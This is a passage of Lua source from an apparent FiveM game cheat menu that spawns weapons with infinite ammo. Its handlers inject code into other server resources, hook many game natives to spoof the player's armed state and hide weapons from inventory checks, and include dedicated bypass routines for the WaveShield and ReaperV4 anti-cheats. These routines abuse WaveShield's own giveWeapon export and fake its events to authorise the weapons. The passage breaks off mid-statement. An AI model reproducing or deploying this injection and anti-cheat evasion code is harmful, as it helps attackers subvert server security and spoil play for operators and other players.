MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'Rifles', type = 'scroll', selected = 1, options = { { label = 'Assault Rifle', value = 'WEAPON_ASSAULTRIFLE' }, { label = 'Assault Rifle Mk2', value = 'WEAPON_ASSAULTRIFLE_MK2' }, { label = 'Carbine Rifle', value = 'WEAPON_CARBINERIFLE' }, { label = 'Carbine Rifle Mk2', value = 'WEAPON_CARBINERIFLE_MK2' }, { label = 'Advanced Rifle', value = 'WEAPON_ADVANCEDRIFLE' }, { label = 'Special Carbine', value = 'WEAPON_SPECIALCARBINE' }, { label = 'Special Carbine Mk2', value = 'WEAPON_SPECIALCARBINE_MK2' }, { label = 'Bullpup Rifle', value = 'WEAPON_BULLPUPRIFLE' }, { label = 'Bullpup Rifle Mk2', value = 'WEAPON_BULLPUPRIFLE_MK2' }, { label = 'Gusenberg Sweeper', value = 'WEAPON_GUSENBERG' }, { label = 'Compact Rifle', value = 'WEAPON_COMPACTRIFLE' }, { label = 'Military Rifle', value = 'WEAPON_MILITARYRIFLE' }, { label = 'Heavy Rifle', value = 'WEAPON_HEAVYRIFLE' }, { label = 'Service Rifle (Tactical Rifle)', value = 'WEAPON_TACTICALRIFLE' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then MachoHookNative(0x4E723C4D4853002B, function(orig, ped, weaponHash) if ped == PlayerPedId() then return false end return orig(ped, weaponHash) end) MachoHookNative(0xF25DF915FA806659, function(orig, ped) if ped == PlayerPedId() then return false end return orig(ped) end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'Shotguns', type = 'scroll', selected = 1, options = { { label = 'Pump Shotgun', value = 'WEAPON_PUMPSHOTGUN' }, { label = 'Pump Shotgun Mk2', value = 'WEAPON_PUMPSHOTGUN_MK2' }, { label = 'Sawed-Off Shotgun', value = 'WEAPON_SAWNOFFSHOTGUN' }, { label = 'Assault Shotgun', value = 'WEAPON_ASSAULTSHOTGUN' }, { label = 'Bullpup Shotgun', value = 'WEAPON_BULLPUPSHOTGUN' }, { label = 'Musket', value = 'WEAPON_MUSKET' }, { label = 'Heavy Shotgun', value = 'WEAPON_HEAVYSHOTGUN' }, { label = 'Double Barrel Shotgun', value = 'WEAPON_DBSHOTGUN' }, { label = 'Sweeper Shotgun (Auto Shotgun)', value = 'WEAPON_AUTOSHOTGUN' }, { label = 'Combat Shotgun', value = 'WEAPON_COMBATSHOTGUN' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then MachoHookNative(0x4E723C4D4853002B, function(orig, ped, weaponHash) if ped == PlayerPedId() then return false end return orig(ped, weaponHash) end) MachoHookNative(0xF25DF915FA806659, function(orig, ped) if ped == PlayerPedId() then return false end return orig(ped) end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'Snipers', type = 'scroll', selected = 1, options = { { label = 'Sniper Rifle', value = 'WEAPON_SNIPERRIFLE' }, { label = 'Heavy Sniper', value = 'WEAPON_HEAVYSNIPER' }, { label = 'Heavy Sniper Mk2', value = 'WEAPON_HEAVYSNIPER_MK2' }, { label = 'Marksman Rifle', value = 'WEAPON_MARKSMANRIFLE' }, { label = 'Marksman Rifle Mk2', value = 'WEAPON_MARKSMANRIFLE_MK2' }, { label = 'Precision Rifle', value = 'WEAPON_PRECISIONRIFLE' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then -- Spoof armed state to bypass inventory checks MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'Heavy & Launchers', type = 'scroll', selected = 1, options = { { label = 'MG', value = 'WEAPON_MG' }, { label = 'Combat MG', value = 'WEAPON_COMBATMG' }, { label = 'Combat MG Mk2', value = 'WEAPON_COMBATMG_MK2' }, { label = 'RPG', value = 'WEAPON_RPG' }, { label = 'Grenade Launcher', value = 'WEAPON_GRENADELAUNCHER' }, { label = 'Grenade Launcher Smoke', value = 'WEAPON_GRENADELAUNCHER_SMOKE' }, { label = 'Minigun', value = 'WEAPON_MINIGUN' }, { label = 'Firework Launcher', value = 'WEAPON_FIREWORK' }, { label = 'Railgun', value = 'WEAPON_RAILGUN' }, { label = 'Railgun XM3', value = 'WEAPON_RAILGUNXM3' }, { label = 'Homing Launcher', value = 'WEAPON_HOMINGLAUNCHER' }, { label = 'Compact Grenade Launcher', value = 'WEAPON_COMPACTLAUNCHER' }, { label = 'Widowmaker (Ray Minigun)', value = 'WEAPON_RAYMINIGUN' }, { label = 'Compact EMP Launcher', value = 'WEAPON_EMP' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then -- Spoof armed state to bypass inventory checks MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == 